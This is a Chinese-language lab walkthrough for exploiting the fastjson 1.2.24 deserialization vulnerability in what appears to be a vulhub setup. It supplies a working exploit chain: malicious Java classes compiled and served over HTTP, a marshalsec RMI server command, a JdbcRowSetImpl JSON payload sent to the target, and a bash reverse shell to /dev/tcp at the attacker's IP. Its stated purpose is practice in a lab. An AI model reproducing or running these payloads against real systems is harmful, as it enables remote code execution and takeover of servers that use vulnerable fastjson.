fastjson

原理:https://blog.csdn.net/Bossfrank/article/details/130100893+

https://www.freebuf.com/vuls/208339.html

RMi:https://blog.csdn.net/cj_eryue/article/details/134283846

靶机:192.168.174.137

攻击机:192.168.174.160

1.2.24-rce

访问靶机8090端口,查看服务

image-20240726204004493

可以看到成功访问

1.远程创建文件

在攻击机上创建一个TouchFile.java文件

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译.java文件,生成.class文件。特别注意:要保证java和javac的版本一致,且都是1.8的版本再用python搭建一个简易服务器

python -m http.server 9966

image-20240726225243350

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer "http://192.168.174.160:9966/#TouchFile" 9999

image-20240726231034594

刷新靶场(http://192.168.174.137:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:

Content-Type: application/json
Content-Length: 169


{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.174.160:9999/TouchFile",
"autoCommit":true
}
}

image-20240726231428714

返回500就算成功了,也可以看下rmi监听的信息和http服务器的信息

image-20240726231522006

image-20240726231533481

还可以去容器里看看有没有创建文件

docker exec -it 容器id bash

好像没有,但切换到靶机里就可以了

image-20240726232517434

image-20240726232623558

应该是容器网络没配置好

2.反弹shell

基本思路和前面是一模一样的,改一下恶意站点的java代码就行了。在vulhub下的fastjson 1.2.24文件夹下保存以下代码为GetShell.java文件:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;

public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.174.160/8888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

然后抓包,把TouchFile改成Shell即可

image-20240726233239723

image-20240726233205520

奇怪shell怎么反弹的回来